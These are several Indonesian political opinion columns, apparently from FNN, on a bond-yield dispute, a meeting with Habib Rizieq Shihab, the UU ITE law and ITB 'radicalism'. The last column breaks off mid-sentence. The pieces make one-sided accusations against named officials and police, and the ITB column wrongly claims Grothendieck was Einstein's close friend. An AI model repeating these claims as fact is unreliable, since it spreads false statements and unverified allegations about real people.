by Anthony Budiawan Jakarta, FNN - Saya menerima tulisan di Whatsapp pada 10 Februari 2021 dengan judul “Koko Kwik Mengecewakan, Kalah Debat Dengan Yustinus Malah Ngadu Sama Rocky Gerung”. Penulis mengaku bernama Jaya Wijaya. Saya belum pernah mendengar nama tersebut, apalagi terkait ekonomi. Juga tidak pernah membaca tulisannya, apalagi tentang ekonomi. Saya coba search nama Jaya Wijaya di google. Yang keluar gunung Jaya Wijaya. Ada akun twitter atas nama jayawijaya @jayawija dengan 1 following dan 2 followers. Artinya, Jaya Wijaya termasuk orang misterius. Akun seperti ini menulis, mengomentari dan mempersekusi Kwik Kian Gie. Membela Prastowo dan memuji setinggi langit. Ada apa? Dari nada tulisannya, saya ragu Jaya Wijaya (seandainya eksis) adalah seorang ekonom. Jaya Wijaya terkesan buzzer, menulis dengan kata kasar, terkesan memaki-maki dan menghina Kwik. Jaya Wijaya menulis mengenai “debat” ekonomi antara Kwik Kian Gie dengan Yustinus Prastowo, “staf ahli Kemenkeu alias anak buah Sri Mulyani” katanya. “Debat” tersebut terkait tulisan Kwik yang katanya dimuat idxchannel .com. Sensasional. Pembicaraan di twitter dianggap “debat”. Padahal hanya perbincangan medsos saja. Saya tidak yakin Kwik menanggapinya dengan serius, paling hanya basa-basi saja. Menurut Jaya Wijaya, Kwik sebelumnya mengatakan obligasi pemerintah Indonesia saat ini laris manis karena pemerintah berani bayar bunga tinggi. Prastowo membantah pendapat Kwik, sambil terkesan mau memberi kuliah. Mungkin mau memberi kesan pinter sambil merendahkan orang lain. Dalam obligasi dikenal yield atau imbal hasil, katanya. Prastowo menunjukkan data imbal hasil obligasi pemerintah termasuk rendah jika dibandingkan dengan negara (lainnya: tambahan dari saya karena kalimat terputus), tulis orang gaib Jaya Wijaya. Tidak jelas dibandingkan negara mana karena tidak ada data di dalam tulisan Jaya Wijaya. “Data tersebut menunjukkan yield dari SBN Indonesia turun dari 4,38 persen pada Oktober 2020 menjadi 4,14 persen pada Januari 2021”. Dengan data tersebut, Prastowo berpendapat investor membeli obligasi pemerintah Indonesia karena percaya, meskipun imbal hasilnya rendah. Artinya pendapat Kwik salah, dan patut dipersekusi. Itu salah satu kebiasaan Prastowo kalau di medsos. Yang penting persekusi dulu. Jaya Wijaya juga menuduh Kwik baper. Kwik secara sopan dan rendah hati mengutarakan keheranannya kenapa Prastowo menganggap Kwik mengkritik pemerintah. Padahal sebelumnya Kwik mengatakan bahwa utang besar tidak masalah karena bisa dibayar dengan menerbitkan obligasi lagi. Keheranan Kwik ini membuat persekusi semakin menjadi-jadi. “Debat” antara Prastowo dengan Kwik diramaikan oleh pendukung Jokowi. “Wajar saja, namanya media sosial, jangan baper” kata Jaya Wijaya dengan nada terkesan menghina. Jaya Wijaya menambahkan Kwik sekarang banyak bergaul dengan kadrun, otomatis opini tercemar kadrun dan menganggap buzzer itu bayaran pemerintah. Karena Prastowo adalah orang pemerintahan juga, maka dituduhlah dia macam-macam oleh Kwik. Selain itu, Jaya Wijaya menulis mengenai ketakutan Kwik mengkritik pemerintah, menyinggung mental dan otak Kwik terguncang. “Kalah hanya oleh staf kemenkeu. Bagaimana kalau debat dengan Sri Mulyani ya?”, katanya. Jaya Wijaya juga menuduh Kwik sekarang payah karena bergaul dengan antara lain Rocky Gerung. Dengan nada menghina, Jaya Wijaya mengatakan Kwik adalah bukan “naga gurun”, tapi “ular gurun” atau “cacing gurun”. Saya ingin menanggapi tulisan Jaya Wijaya. 1. Obligasi negara jangka menengah dan panjang mempunyai bunga kupon. Kalau obligasi jangka pendek (treasury bills) melalui diskonto. Pada saat penawaran perdana, bunga kupon ini kurang lebih sama dengan yield-to-maturity (YTM), dan ini yang relevan bagi Investor obligasi di pasar perdana. Yang dimaksud dengan “pemerintah menawarkan bunga tinggi” artinya menawarkan kupon tinggi. Sampai di sini paham? Kwik tidak membicarakan yield. 2. Di dalam perjalanannya, harga obligasi berubah (tidak sama dengan par value), disebabkan antara lain perubahan suku bunga acuan, inflasi (deflasi), dan lainnya. Perubahan harga obligasi membuat perhitungan (matematis) yield obligasi juga berubah. Perubahan harga dan yield hanya relevan bagi investor baru di pasar sekunder. Bagi investor yang beli obligasi di pasar perdana, perubahan harga obligasi dan yield tidak relevan, karena YTM sama. Semoga Prastowo dan Jaya Wijaya paham. 3. Ketika resesi, yield obligasi turun. Bukan hanya obligasi Indonesia, tetapi juga obligasi negara lain. Apakah yield obligasi pemerintah Indonesia lebih rendah dari negara lainnya, misalnya ASEAN-6 (Indonesia, Singapore, Malaysia, Philipina, Thailand dan Vietnam), seperti di-klaim oleh Prastowo? 4. Seorang ekonom seharusnya tahu, yield obligasi sangat tergantung dari suku bunga acuan bank sentral. Sedangkan suku bunga acuan di Indonesia merupakan salah satu tertinggi di ASEAN-6, sehingga bagaimana mungkin yield obligasinya lebih rendah? Untuk ini, kita tidak perlu data yield obligasi. Insting ekonom sudah harus tahu itu. 5. Suku bunga acuan di Indonesia 3,75 persen, Singapore mendekati 0,25 persen, Malaysia 1,75 persen, Thailand 0,5 persen, Philipina 2 persen, Vietnam 4 persen. Yang menarik Vietnam. Meskipun suku bunga acuannya lebih tinggi dari Indonesia tetapi yield obligasi pemerintah Vietnam jauh lebih rendah dari Indonesia. 6. Selain itu, suku bunga pinjaman di Indonesia juga tertinggi di ASEAN-6. Karenanya, yang mengatakan yield obligasi Indonesia lebih baik dari ASEAN-6 akan ditertawakan karena menunjukkan kebodohan dan ketidaktahuan. 7. Menurut data World Government Bonds, yield obligasi pemerintah Indonesia (10Y) merupakan yang tertinggi di ASEAN-6 pada 17/02/21 (lihat gambar), dan salah satu tertinggi di dunia. 8. Prastowo mau disandingkan dengan Kwik Kian Gie? Yang benar saja. Apakah masih sehat? Apa prestasi Prastowo selama ini? Baru menjabat staf khusus Kemenkeu beberapa bulan sudah mau diagungkan dan disandingkan dengan tokoh ekonom terkemuka Kwik Kian Gie yang sangat sederhana dan rendah hati, yang sudah dikenal dan dihormati di seluruh tanah air? Hanya alam pikiran buzzer yang bisa berpikir seperti itu. Orang normal tidak akan bisa memelihara ilusi kelas dewa ini. 9. Kwik Kian Gie tidak perlu membuktikan kehebatannya lagi di Indonesia. Rekam jejaknya sudah banyak dan dikenal secara luas. Beliau tidak mengomentari bukan berarti kalah “debat”. Beliau tidak mau menghabiskan energi untuk meladeni alam pikiran buzzer. 10. Saya kira banyak tokoh yang tidak akan mundur dan mau mewakilkan Kwik Kian Gie untuk berdebat ekonomi dalam arti luas baik dengan Yustinus Prastowo maupun atasannya. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS)

Mereka Tak Kenal Habib Rizieq Shihab, Sebuah Catatan dari Mega Mendung

Beberapa saat pertemuan berlangsung, sebuah drone terbang melintas di atas kami. HRS mengeleng-gelengkan kepala sambil tersenyum melihat peristiwa itu. Sebagian dari kami melambaikan tangan sampai drone itu menjauh. Kata HRS kepada kami, "kalau dalam berjuang, jangan, jangan ya. Tolong jangan korbankan rakyat dan umat ya. Berjuang haruslah demi untuk menyelamatkan rakyat, umat dan bangsa. Bukan demi mendapatkan jabatan". by Rahmi Aries Nova Jakarta, (FNN) - KAMIS (3/12/2020), handphone saya berdering. Seorang rekan bertanya, "apakah besok mau ikut ke Mega Mendung, bertemu dengan tokoh most wanted di negeri ini"? Saya langsung menjawab, "mau banget bang". Dan dijawab ok. Namun dicatat, dan harap tidak usah memberitahu siapa pun. Termasuk orang rumah. Jumat (4/12/2020) pagi saya berangkat menuju titik kumpul dengan hati yang berdebar-debar. Antara tak percaya dan tak sabar akan bertemu dengan pemilik Pondok Pesantren Agrikultural dan Markaz Syariah DPP FPI. Seorang ulama besar, imam besar, yang selama ini hanya bisa saya lihat dan saya kenali dari 'jauh' sejak September 2016. Saya hanya pernah mendengar ceramahnya dari balik tiang Mesjid Istiqlal. Di Mesjid At-Tin, saya bahkan cuma bisa mendengar sayup-sayup suaranya dari pelataran mesjid. Sementara di Monas dalam "Aksi Super Damai 212", posisi saya pun jauh dari panggung utama. Saat pulang dari Mekkah pun, sosok 'besarnya' hanya terlihat 'kecil' karena saya hanya bisa menatapnya dari jauh di Terminal 3 Bandara Soekarno-Hatta. Bahkan, di Petamburan, rumah tinggal HRS yang juga dekat kantor DPP FPI, saat acara Maulid Nabi Muhammad Sallaahu Alaihi Wasallam, dan akad nikah putrinya, saya hanya melihatnya dari layar yang gambarnya kurang jelas. Tak heran ketika akhirnya tiba di depan kompleks pesantren, hati ini masih belum percaya apakah saya akan betul-betul berjumpa dengan Habib Rizieq Shihab atau yang biasa disapa HRS? Apakah betul HRS mau menerima kami yang bukan siapa-siapa ini? Bahkan saat salat Ashar di masjid pondok, doa saya hanya satu, "Ya Allah, jangan batalkan pertemuan ini." Sebab, jika melihat situasi dan kondisi, sangat wajar pihak tuan rumah membatalkan pertemuan. Demi keamanan semua pihak. Seusai salat ashar, kami yang perempuan (berdua) dipersilahkan menunggu di pendopo, terpisah dari rekan-rekan kami yang laki-laki. Ternyata dari bangunan dekat pendopolah sosok yang kami tunggu itu muncul. Dalam hati bersyukur, ya Allah terima kasih akhirnya saya bisa melihatnya dari dekat. Berbaju putih bersih, memegang tongkat. Terdengar beliau bertanya, "Mau ngobrol di mana? Kalau tidak cukup di bawah kita di atas saja." Akhirnya, kami naik ke lantai paling atas dari salah satu bangunan di pondok, yang dari tempat itu keindahan kawasan Gunung Gede terlihat sangat jelas. Bahkan Sekjen FPI Munarman juga berseloroh, ‘Hambalang juga terlihat dari sini lho’, seraya menunjuk kawasan perbukitan nun jauh di sana. Kami semua pun tertawa, tawa yang penuh makna tentu saja. Ketika acara mau dimulai, HRS yang didampingi Ahmad Sobri Lubis dan Habib Hanif meminta agar posisi duduk mendekatinya. Layaknya sebuah pertemuan mirip halaqah yang sering dijumpai di Masjidil Haram. Itulah kali pertama saya melihat wajah HRS dari dekat, walau memakai masker. Bahkan, sangat dekat. Satu kata, "Wajahnya amat sangat teduh". Tidak ada raut gusar apalagi takut. Tenang dan sungguh menenangkan. Tak terasa mata ini pun basah karena akhirnya bisa melihatnya tanpa sekat. Saya lihat rekan-rekan saya yang lain begitu antusias dengan pertemuan itu. Sungguh kami merasakan keharuan yang sama. Sebagai kalimat pembuka setelah salam, HRS meminta maaf kalau penyambutan yang agak ketat karena harus mengikuti protokol kesehatan. HRS sendiri masih dalam proses pemulihan (karena kelelahan) setelah dirawat di RS UMMI, Kota Bogor, Jawa Barat. Kami adalah "tamu pertama" setelah Habib keluar dari perawatan di rumah sakit tersebut. Dalam hati, "Duh kenapa HRS harus minta maaf sih, padahal, kami tidak diusir atau HRS tidak mau menerima kami". Keteguhan dan kesiapannya dalam menghadapi risiko yang akan dihadapi membuat saya semakin takjub. HRS sangat memahami situasi yang dihadapinya. Akan tetapi, semuanya ia kembalikan kepada Allah Subhaanahu Wata'ala. Bertemu dengan HRS terasa jauh berbeda jika dibandingkan berjumpa dengan tokoh, pejabat dan orang kaya. Ini berdasarkan pengalaman, karena sering berjumpa pejabat, tokoh dan pengusaha yang seringkali sok sibuk dan sok penting. Bahkan, pertemuan dengan mereka ini terkesan terburu-buru, karena waktu bertemu ingin cepat habis. HRS terkesan santai. Satu per satu kami diberikan kesempatan untuk berbicara. Saya pun tidak saya sia-siakan kesempatan itu. HRS mendengarkan apa yang kami sampaikan. Ia menjawabnya secara cerdas, terurai rapih, dan tegas. Semua masukan diterima, semua saran dipertimbangkan. Pokoknya, sangat akomodatif. Hampir dua jam kami berdiskusi, dari materi berat sampai yang ringan-ringan. Pembicaraan serius, tetapi diselingi tawa dan canda. masya Allah. Kami heran juga dengan kesehatannya yang tangguh. Padahal, sejak menginjakkan kaki di Tanah Air, sepulang dari pengasingan di Tanah Suci Makkah, jadwal kegiatannya padat. Sempat masuk RS Ummi, untuk pemulihan kesehatan akibat kelelahan. Akan tetapi, dalam pertemuan yang berlangsung sekitar dua jam (diselingi salat Maghrib), HRS tidak pernah batuk, apalagi sesak napas. Padahal, waktu itu, ia dikejar-kejar Satgas Covid-19, Kota Bogor, dipaksa test Swab. Bahkan, waktu itu difitnah positif Covid-19? Beberapa saat pertemuan berlangsung, sebuah drone terbang melintas di atas kami. HRS menggeleng-gelengkan kepala sambil tersenyum melihat peristiwa itu. Sebagian dari kami melambaikan tangan sampai drone itu menjauh. Dalam pertemuan tersebut, HRS pun menjelaskan runturan berbagai peristiwa yang dialaminya, menjelang kepulangan, dan sampai tiba di tanah air. Ia tahu dan sadar bahwa aparat hukum terus mengikutinya. Kepasrahannya kepada Sang Khalik sangat tinggi. Semua disandarkan kepada-Nya. HRS juga memberikan kepercayaan yang tinggi kepada para pengacara yang setia mendampingi dalam memghadapi setiap persoalan hukum. "Kita serahkan semua kepada Allah," kata HRS. Kalimat itu keluar menjawab pertanyaan tentang kekhawatiran musuh akan menghabisi nyawanya. HRS kemudian mengutip Alqur'an, Surat An-Nisaa ayat 104 : وَلَا تَهِنُوا۟ فِى ٱبْتِغَآءِ ٱلْقَوْمِ ۖ إِن تَكُونُوا۟ تَأْلَمُونَ فَإِنَّهُمْ يَأْلَمُونَ كَمَا تَأْلَمُونَ ۖ وَتَرْجُونَ مِنَ ٱللَّهِ مَا لَا يَرْجُونَ ۗ وَكَانَ ٱللَّهُ عَلِيمًا حَكِيمًا Yang artinya, "Janganlah kamu berhati lemah dalam mengejar mereka (musuhmu). Jika kamu menderita kesakitan, maka sesungguhnya mereka pun menderita kesakitan (pula), sebagaimana kamu menderitanya, sedang kamu mengharap dari pada Allah apa yang tidak mereka harapkan. Dan adalah Allah Maha Mengetahui lagi Maha Bijaksana." "Jadi kalau kita takut, mereka juga takut. Bahkan lebih takut dari kita. Bedanya kita punya Allah. Jadi kita serahkan saja semua kepada-Nya" jelas HRS. Ia mengajak semuanya agar meluruskan niat dalam berjuang. Niatkan semua hanya demi rakyat dan emi umat. Bukan demi kekuasaan. Dengan meluruskan niat, insya Allah akan meraih kemudahan dan kemenangan. "Insyaa Allah, Insyaa Allah, Allah akan memberi kemenangan untuk kita," ucapnya dengan penuh keyakinan. Pertemuan rehat karena azan maghrib berkumandang. Setelah berdo'a yang dipimpin HRS, rombongan pun kemudian menuju masjid, menunaikan shalat berjamaah bersama para ustaz dan santri Pesantren Agrikultur di tempat itu. Seusai salat maghrib, pertemuan dilanjutkan dengan lebih santai lagi sambil makan malam dengan sate kambing. Saya dan wanita lainnya pun kemudian diizinkan bertemu dengan istri HRS, ummi Syarifah Fadhlun Yahya. Saya melihat, wanita sederhana itu tidak lepas berzikir dan berdoa. Makan malam bersama ummi Syarifah (dipisah dengan pria) sungguh mengasyikķan, apalagi dua putrinya - dari tujuh putrinya - ikut bergabung. Saya memandang kedua putrinya cantik, pintar, cerdas, dan ramah. Umi Syarifah dan putrinya adalah wanita yang turut mendorong dan pemberi semangat dalam membela HRS berjuang. Pertemuan berakhir bersamaan dengan turunnya hujan gerimis. Sepanjang perjalanan pulang menuju Jakarta, kami tidak henti-hentinya membahas ucapan yang disampaikan HRS, terutama kalimat, "mereka lebih takut". Kalimat yang ditujukan kepada lawan politik dan musuh-musuh Islam. Ketakutan mereka itu terbukti dua hari kemudian, Senin dini hari, 7 Desember 2020. Enam laskar yang mengawal HRS menuju pengajian keluarga inti di daerah Karawang, Jawa Barat, ditembak polisi. Katanya tewas di KM 50, meski dalam rekonstruksi yang dilakukan polisi dan juga keterangan saksi, keenam syuhada tersebut masih hidup saat dimasukkan ke mobil. Jika mau jujur, yang menjadi target dibunuh sebenarnya adalah HRS. Hal itu bisa dilihat dari cara polisi yang menguntit HRS dan rombongan sejak berangkat dari Mega Mendung menuju rumah menantunya di kawasan Sentul. Dari Sentul kemudian bergerak menuju Karawang melalui jalan tol. Hanya saja Allah Subhaanahu Wata'ala melindungi HRS. Enam pengawal, seakan korban "pengganti." Akan tetapi, penguntitan HRS yang berujung tewasnya enam pengawalnya menunjukkan ketakutan rezim atas sepak-terjang dakwan dan perjuangan HRS. Mereka cemas karena sweeping di medsos (Facebook, twitter, IG, dan YouTube) justru membuat netizan makin 'menggila' menguliti mereka. Mereka makin takut karena dukungan dan simpati masyarakat semakin membesar dari hari ke hari, bergulir bak bola salju yang akan menghimpit mereka. Panik membuat mereka kehilangan akal, hati nurani dan akhirnya berlaku brutal. Musuh benar-benar 'tidak kenal' HRS. Sosok yang tidak mencari ketenaran di dunia, tetapi ingin di kenal di langit saja (maksudnya Allah dan penghuni langit kainnya, termasuk para Malaikat). Mereka tidak tahu yang HRS takuti bukanlah sesuatu yang akan menimpa dirinya. Tetapi yang HRS takutkan adalah rakyat dan umat akan jadi korban. Jangan korbankan rakyat "Kalau saya ditangkap apa umat tidak akan marah? Apa rakyat akan diam saja melihat ketidakadilan di depan mata. Jangan, tolong jangan korbankan rakyat," pinta HRS. Tetapi, para 'pemburu' HRS yang sedang mabuk kekuasaan tidak tinggal diam. Mereka terus melakukan kriminalisasi. Mereka melakukan pengejaran, demi jabatan dan uang. Yang lebih menyolok lagi, "asal bapak senang." Jeratan hukum pun dijalankan. HRS pun kemudian masuk tahanan polisi dengan tuduhan pasal penghasutan dan pelanggaran pasal karantina kesehatan. Padahal, pasal 160 KUHP hanya bisa diterapkan jika seseorang melakukan tindakan kriminal akibat dihasut. Ya, penerapan pasal dengan tuntutan hukum maksimal 6 tahun inilah yang membuat HRS harus ditahan. Sebab, kalau hanya menggunakan pasal Pasal 93 Undang-Undang Nomor 6 Tahun 2018 tentang Kekarantinaan Kesehatan, HRS tidak bisa ditahan. Sebab, tuntutan pidananya maksimal satu tahun penjara dan denda maksimal Rp 100 juta rupiah. Penerapan pasal 160 KUHP itu harap dimaklumi. Mereka ingin pengadilan dunia bagi HRS. Padahal, pengadilan akhirat kelak yang lebih adil menghukum orang-orang yang zalim. Penulis adalah Wartawan Senior FNN.co.id.

UU ITE Memang "Bangsat"

by A. Sofiyanto Jakarta, FNN - Tampaknya, Undang Undang Informasi dan Transaksi Elektronik (UU ITE) bisa dijadikan alat ‘tukar guling’ dari penjara yang isinya tahanan kriminal berubah menjadi tahanan oposan pengeritik rezim serta kalangan warga terseret pasal karet pencemaran nama baik dan atau ujaran kebencian. Menkumham telah membebaskan puluhan ribu tahanan penjara yang mayoritas pelaku kriminal, malah sekarang penjara banyak terisi ‘korban’ tersangka pasal karet UU ITE. Apa sengaja penjara dikosongkan untuk diisi oleh tahanan lawan-lawan politik rezim penguasa? Ramai pula di medsos yang mempertanyakan ulama dikriminalisasi dan ditahan di penjara. UU ITE dimulai era Presiden Megawati, disahkan era Presiden SBY, sekarang jadi ‘momok’ di era Presiden Jokowi. Seperti dilansir CNN Indonesia, Senin (26/2/2021), keberadaan UU No. 19/2016 tentang perubahan atas UU No. 11/2008 tentang ITE kembali jadi sorotan publik. Apalagi, pasal kaset UU ITE dibuat senjata untuk saling lapor sesama rakyat sehingga banyak "korban" dipenjara. Dilansir dari situs resmi Kominfo, penjajakan penyusunan UU ITE dimulai di era Presiden Megawati, tepatnya pada 2003. Kala itu, dua buah RUU yakni Tindak Pidana Teknologi Informasi dan e-Commerce alias perdagangan elektronik dijadikan satu naskah RUU dan diserahkan ke DPR. Pembahasan UU ITE dibahas pada 2005 hingga 2007, dan disahkan era Presiden SBY pada 2008. UU ITE yang pada era SBY digunakan untuk memantau transaksi keuangan elektornik, kini. lebih banyak untuk menyeret lawan-lawan politik dan atau warga yang dianggap menyuarakan ujaran kebencian. Bagian UU ITE yang kerap menjadi masalah di tengah masyarakat ialah di bagian kedua. Bagian yang tertuang di pasal 27 hingga 29 ini terus menjadi perdebatan, dianggap bersifat karet, dan disebut menjadi alat membungkam kritik yang dilayangkan ke pemerintahan Jokowi. Yang paling rawan menyeret seseorang dilaporkan ke polisi untuk dipenjara adalah pasal karet UU ITE pasal 28 ayat (2) Setiap Orang dengan sengaja dan tanpa hak menyebarkan informasi yang ditujukan untuk menimbulkan rasa kebencian atau permusuhan individu dan/atau kelompok masyarakat tertentu berdasarkan atas suku, agama, ras, dan antargolongan (SARA). Salah satu tokoh yang disebut dibungkam dengan UU ITE ialah musikus Dhani Ahmad Prasetyo alias Ahmad Dhani dalam kasus 'Banser Idiot'. Dhani divonis penjara selama 1 tahun 6 bulan. Terakhir, Maaher dilaporkan atas dugaan ujaran kebencian melalui media sosial kepada Habib Luthfi. Sebelumnya, Gus Nur (pengeritik keras rezim) ditetapkan menjadi tersangka ujaran kebencian kepada NU. Refly Harun menjadi pihak yang turut diperiksa oleh Bareskrim. Dengan sedikit-sedikit lapor polisi, sekarang muncul kaos bertuliskan sindiran “Tersinggung lalu melaporkan adalah budaya bangs akita yang terbaru”. Pesidium Koalisi Aksi Menyelamatkan Indonesia (KAMI) Din Syamsuddin menilai UU ITE telah disalahgunakan oleh pemerintahan Presiden Jokowi saat ini. Din menilai UU tersebut awalnya dirancang oleh Presiden SBY untuk memantau transaksi keuangan elektronik yang bertujuan memberantas korupsi, namun kini UU ITE dipakai untuk menangkap aktivis serta menjerat ‘pengeritik’ di medsos. Din melihat berjalannya penerapan UU ITE saat ini telah salah kaprah. Sebab, penerapannya sudah melenceng dari tujuan awal saat dirancang untuk mengatasi kasus korupsi. Aturan itu, lanjut Din, sudah membawa banyak korban yang dijadikan tersangka dan ditangkap oleh pihak kepolisian. Pihak kepolisian kerap kali menjadikan UU itu sebagai dasar untuk menangkap seseorang, Aktivis KAMI seperti Syahganda, Jumhur Hidayat hingga Anton Permana telah ditetapkan sebagai tersangka oleh Bareskrim Polri dengan dugaan menghasut kericuhan selama demo menolak Omnibus Law UU Ciptaker. UU ITE di era Presiden SBY dijadikan sebagai peralatan untuk menangkap penyelundupan transaksi keuangan secara elektronik, namun kini di era Presiden Jokowi dibuat untuk memborgol oposan para pengeritik? Muncullah headline di Harian Terbit: “UU ITE Berbahaya, Warga dan Tokoh Kritis Ditangkapi”. Kini, tiba-tiba Presiden Jokowi menyatakan akan merevisi UU ITE karena menangkap kegelisahan publik yang menilai UU ITE tak memberikan rasa keadilan. "Kalau UU ITE tidak bisa memberikan rasa keadilan, ya saya akan minta kepada DPR untuk bersama-sama merevisi undang-undang ini, Undang-undang ITE ini," kata Jokowi dalam Rapat Pimpinan TNI-Polri yang disiarkan kanal YouTube Sekretariat Presiden, Senin (15/2). Publik pun dibuat kaget bak disambar geledek. Sebab, pihak rezim penguasa justeru yang sering menggunakan UU ITE untuk membungkam kelompok kritis/oposan terhadap kekuasaan. Publik pun menerka, apakah pernyataan presiden Jokowi itu serius atau basa-basi, apa sekadar untuk test the water? Yakni, memancing reaksi publik sebelum mengeluarkan kebijakan/keputusan. Seperti Kementerian Agama akan dihapus, kolom "Agama" KTP akan dihapus, lantas muncul isu larangan jilbab di BUMN serta tak boleh berjenggot dan celana cingkrang, dan dugaan test the water lainnya. Meski demikian, kalau langkah Presiden ternyata serius dilaksanakan merevisi UU ITE karena pasal karet, maka patut kita apresiasi. Vokalis Rocky Gerung dengan skeptis menduga rencana merevisi UU ITE hanya tes ombak dan angin surga. Lagipula, selama ini sudah banyak janji rezim yang tidak diwujudkan. Namun sebaliknya, ada dugaan bahwa pemerintah memang sengaja mau merevisi UU ITE bersamaan dengan pemeriksaan buzzer pemerintah Abu Janda oleh polisi. Benarkah revisi UU ITE tersebut merupakan operasi untuk menyelamatkan Abu Janda dkk.? Wallahu a‘lam bi as-shawab. Dilansir situs Kompas, Selasa (16/2/2021), Direktur Eksekutif Southeast Asia Freedom of Expression Network (Safenet), Damar Juniarto mengungkapkan ada sembilan pasal bermasalah dalam UU ITE. "Persoalan utama pasal 27-29 UU ITE. Ini harus dihapus karena rumusan karet dan ada duplikasi hukum," tulis Damar dalam sebuah kicauan. Salah satu pasal bermasalah yang dimaksud masih terkait dengan pasal 27 ayat 3 tentang defamasi. Pasal ini disebut dapat digunakan untuk mengekang kegiatan berekspresi warga, aktivis, dan jurnalis. Selain itu juga mengekang warga untuk mengkritik pihak polisi dan pemerintah. Pasal tersebut membahas penghinaan dan pencemaran nama baik melalui media massa. Butir ini sering digunakan untuk menuntut pidana netizen yang melayangkan kritik lewat dunia maya. Menindaklanjuti Presiden Jokowi, Kapolri Jenderal Pol Listyo Sigit Prabowo usai Rapim TNI-Polri, menyatakan akan selektif dalam penerapan UU ITE untuk menghindari adanya saling lapor menggunakan pasal-pasal karet UU tersebut serta anggapan kriminalisasi gunakan UU ITE. Mudah-mudahan Kapolri benar-benar sadar bahwa banyak korban terkait hal remeh remeh dijerat pasal karet UU ITE. Jika antar rakyat saling lapor diteruskan, maka kerja polisi akan disibukkan dengan menangani calon tersangka berdasar UU ITE. Polri dengan anggaran nomor 3 terbesar, dibikin sibuk ngurusi warga saling lapor terkait masalah ecek-ecek dan abal-abal ketimbang menyeret kasus-kasus korupsi dan perkara yang jauh lebih penting lainnya. Sebenarnya, usul revisi RUU ITE dari masyakarat sudah disampaikan pada tahun 2015, namun tidak direspon (dicuekin) oleh pemerintah. Yakni, Catatan dan Usulan Masyarakat Sipil atas RUU Perubahan UU ITE versi 16 April 2015, dimana pemerintah bisa membuka lagi filenya. Di situ antara lain, mengulas tindak pidana pasal 27, 28 dan 29 UU ITE. Pasal karet UU ITE memang amat sangat mengancam sekali terhadap kebebasan berpendapat dan hak asasi manusia. Sebab, pencemaran nama baik dan ujaran kebencian hanyalah berdasarkan perasaan subyektif menurut si pelapor. Bisa-bisa koruptor yang tersinggung karena diungkap kasus korupsi nya, dia pun lapor polisi. Dalam pilpres 2019 lalu, calon presiden Prabowo pun saat di.masa kampanye pernah berjanji akan mencabut UU ITE jika terpilih menjadi presiden. Saat itu, dalam diskusi di media centre pasangan capres-cawapres 02, pakar hukum tata negara Dr Margarito Kamis setengah berkelakar mengatakan, “Kalau saya jadi presiden, rugi mencabut UU ITE karena bisa saya jadikan saja untuk memenjarakan lawan-lawan politik saya.” Ternyata, dampak UU ITE berpotensi mengekang oposisi di negara demokrasi, maka sudah selayaknya UU ITE harus dihapus, minimal lenyapkan pasal-pasal karetnya. UU ITE telah menjadi ‘barang’ sesat dari penggunaan awalnya untuk memantau transaksi keuangan elektornik, kini digunakan untuk lebih banyak untuk menyeret lawan-lawan politik dan atau warga yang dianggap melakukan pencemaran nama baik/ujaran kebencian. UU ITE memang ‘bangsat’ alias barang sesat. (*) Penulis adalah Wartawan Senior.

Seingat Saya, ITB Memang Radikal!

by Mochamad Toha Surabaya, FNN - Gerakan Anti Radikalisme (GAR) Alumni ITB membuat Prof Maman Djauhari yang pernah terlibat dalam mendidik calon alumni ITB amat sangat terpukul. "Kerja keras saya selama 1969-2009 di ITB ternyata menghasilkan banyak defect products," tulis urang Sunda ITB yang Radikal, Minggu (14/2/2021). Prof Maman yakin, semua orang ITB membaca/mendengar pemberitaan GAR-ITB. Amat disayangkan, nama “gerakan anti radikalisme” scientifically tidak sesuai dengan norma akademis. Lebih gawat lagi, hermeneutically, pada nama itu tampak kekacauan dalam mind-map si pemberi nama. Akibatnya, gerakan itu dengan mudah dapat menjadi gerakan kontra-produktif. Mengapa? Sebab, di saat ITB sedang bertarung dalam global intellectual racing, gerakan itu dapat menghambat upaya memenangkan perlombaan intelektual tersebut. Di ITB dulu ada toloh "Radikal" bernama Moedomo. Kemungkinan besar sebagian besar anggota IA-ITB tidak kenal beliau atau bahkan mungkin tidak tahu. Moedomo…nama yang simple. Tapi ia adalah Guru Besar ITB kelas dunia dalam bidang Mathematical Analysis yang pernah dimiliki Ibu Pertiwi. Bagaimana kemumpuniannya? Catat ini baik-baik. Kita akan dipahamkan oleh Google.Scholar bahwa karya Moedomo yang terbit di Pacific Journal of Mathematics tahun 1971 adalah karya yang sangat fundamental dalam bidangnya dan monumental bagi Indonesia. Dikatakan fundamental, karena karya itu menjadi salah satu referensi buku yang ditulis oleh Alexander Grothendieck dkk. Dan, dikatakan monumental bagi Ibu Pertiwi, karena karya itu menjadi legenda bagi orang yang tahu fungsi Perguruan Tinggi (PT). Grothendieck adalah matematisi kelas dunia yang hingga saat ini tetap berada pada peringkat ke-11! Perlu dicatat pula, dari peringkat 1 s/d 12 berturut-turut adalah: Newton, Archimedes, Gauss, Euler, Riemann, Poincaré, Lagrange, Euclid, Hilbert, Leibniz, GROTHENDIECK, dan Fermat. Dan, catat lagi, Grothendieck adalah sahabat karib Albert Einstein. Itulah sekilas profil Moedomo; figur kebanggaan ITB. Dan, memang begitulah rumusnya. Orang hebat selalu bersahabat karib dengan orang hebat lagi. Kalau sekarang ada alumni ITB yang merasa hebat, itu karena yang besangkutan pernah berada di lingkungan orang-orang hebat seperti Moedomo. Ini tak bisa disangkal. Moedomo memang sangat brilliant, memiliki kemampuan serendipity, dan …… very humble. Oleh karena itulah, semua Pimpinan ITB apalagi Dosen segan dan hormat kepadanya. Kuliahnya sangat menarik dan hidup. Ingin tahu apa yang beliau ajarkan? Values! Itulah yang beliau ajarkan. Melalui matematika Moedomo mengajarkan moral dan academic values. Diantara academic values yang beliau ajarkan kepada mahasiswanya (termasuk Prof Maman) adalah sikap dan semangat orang-oranf hebat di dunia yakni Radikalisme dalam meraih the highest achievement! Lalu, contoh moral values yang diajarkan Moedomo adalah tidak menempuh solusi radikal terhadap pelanggar norma akademis. Moedomo mengajarkan bagaimana menjadi Radikal dalam mendobrak kemapanan sebuah teori untuk kemudian membangun teori yang baru. Dan, bagaimana menghindari solusi radikal terhadap pelaku kesalahan akademis. Itulah ruh ITB; moral dan academic values ditularkan oleh the seniors melalui interaksi radikal di konferensi, di seminar, di kelas, di laboratorium dan di masyarakat. Dengan menularkan sikap dan semangat radikalisme itulah the seniors mencetak orang-orang hebat. GAR di lingkungan PT dapat menjadi gerakan kontra-produktif. Mengapa? Karena dapat mengganggu fungsi PT. Fungsi PT ada 2 (dua) yakni (i) menciptakan ilmu-ilmu 